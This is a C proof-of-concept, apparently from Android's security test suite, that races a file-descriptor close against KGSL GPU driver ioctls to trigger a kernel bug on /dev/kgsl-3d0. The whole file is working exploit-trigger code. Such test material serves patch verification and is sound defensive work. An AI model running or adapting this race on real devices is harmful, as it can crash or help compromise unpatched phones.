| /* |
| * Copyright (C) 2017 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| #define _GNU_SOURCE |
| #include <stdlib.h> |
| #include <unistd.h> |
| #include <errno.h> |
| #include <stdio.h> |
| #include <dirent.h> |
| #include <string.h> |
| #include <sys/stat.h> |
| #include <sys/ioctl.h> |
| #include <stdio.h> |
| #include <string.h> |
| #include <dlfcn.h> |
| #include <sys/time.h> |
| #include <sys/mman.h> |
| #include <sys/syscall.h> |
| #include <sys/resource.h> |
| #include <fcntl.h> |
| #include <pthread.h> |
| #include <unistd.h> |
| #include <sched.h> |
| |
| #define KGSL_CONTEXT_SAVE_GMEM 0x00000001 |
| #define KGSL_CONTEXT_NO_GMEM_ALLOC 0x00000002 |
| /* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */ |
| #define KGSL_CONTEXT_SUBMIT_IB_LIST 0x00000004 |
| #define KGSL_CONTEXT_CTX_SWITCH 0x00000008 |
| #define KGSL_CONTEXT_PREAMBLE 0x00000010 |
| #define KGSL_CONTEXT_TRASH_STATE 0x00000020 |
| #define KGSL_CONTEXT_PER_CONTEXT_TS 0x00000040 |
| #define KGSL_CONTEXT_USER_GENERATED_TS 0x00000080 |
| /* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */ |
| #define KGSL_CONTEXT_END_OF_FRAME 0x00000100 |
| #define KGSL_CONTEXT_NO_FAULT_TOLERANCE 0x00000200 |
| /* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */ |
| #define KGSL_CONTEXT_SYNC 0x00000400 |
| #define KGSL_CONTEXT_PWR_CONSTRAINT 0x00000800 |
| |
| #define KGSL_IOC_TYPE 0x09 |
| struct kgsl_drawctxt_create { |
| unsigned int flags; |
| unsigned int drawctxt_id; /*output param */ |
| }; |
| |
| #define IOCTL_KGSL_DRAWCTXT_CREATE \ |
| _IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create) |
| |
| /* destroy a draw context */ |
| struct kgsl_drawctxt_destroy { |
| unsigned int drawctxt_id; |
| }; |
| |
| #define IOCTL_KGSL_DRAWCTXT_DESTROY \ |
| _IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy) |
| |
| struct kgsl_timestamp_event { |
| int type; /* Type of event (see list below) */ |
| unsigned int timestamp; /* Timestamp to trigger event on */ |
| unsigned int context_id; /* Context for the timestamp */ |
| void __user *priv; /* Pointer to the event specific blob */ |
| size_t len; /* Size of the event specific blob */ |
| }; |
| #define IOCTL_KGSL_TIMESTAMP_EVENT \ |
| _IOWR(KGSL_IOC_TYPE, 0x33, struct kgsl_timestamp_event) |
| int g_fd = -1; |
| int g_ctx_id = -1; |
| int g_sync_fence_fd = -1; |
| struct kgsl_timestamp_event g_event; |
| static pthread_cond_t cond = PTHREAD_COND_INITIALIZER; |
| static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; |
| |
| void trigger_kgsl_create_drawctx() { |
| struct kgsl_drawctxt_create ctx; |
| ctx.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC; |
| ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_CREATE, &ctx); |
| g_ctx_id = ctx.drawctxt_id; |
| } |
| |
| void trigger_kgsl_free_drawctx(int id) { |
| struct kgsl_drawctxt_destroy ctx; |
| ctx.drawctxt_id = id; |
| ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &ctx); |
| |
| } |
| |
| void trigger_kgsl_timestamp_event() { |
| ioctl(g_fd, IOCTL_KGSL_TIMESTAMP_EVENT, &g_event); |
| } |
| |
| int open_driver() { |
| char* dev_path = "/dev/kgsl-3d0"; |
| g_fd = open(dev_path, O_RDWR); |
| return g_fd; |
| } |
| |
| |
| void setup_privi_and_affinity(int privi, unsigned long cpu_mask) { |
| setpriority(PRIO_PROCESS, gettid(), privi); |
| } |
| |
| |
| void* race_thread(void* arg) { |
| setup_privi_and_affinity(-19, 2); |
| pthread_mutex_lock(&mutex); |
| pthread_cond_wait(&cond, &mutex); |
| pthread_mutex_unlock(&mutex); |
| while (1) { |
| close(4); |
| } |
| return NULL; |
| } |
| |
| int main(int argc, char**argv) { |
| setup_privi_and_affinity(-19, 1); |
| |
| if (open_driver() < 0) { |
| return -1; |
| } |
| trigger_kgsl_create_drawctx(); |
| |
| g_event.type = 2; |
| g_event.context_id = g_ctx_id; |
| g_event.len = 4; |
| g_event.priv = malloc(0x1000); |
| g_event.timestamp = 0; |
| mprotect(g_event.priv, 0x1000, PROT_READ); |
| |
| pthread_t tid; |
| pthread_create(&tid, NULL, race_thread, NULL); |
| usleep(100 * 1000); |
| |
| pthread_cond_signal(&cond); |
| usleep(20); |
| while (1) { |
| trigger_kgsl_timestamp_event(); |
| } |
| |
| return 0; |
| } |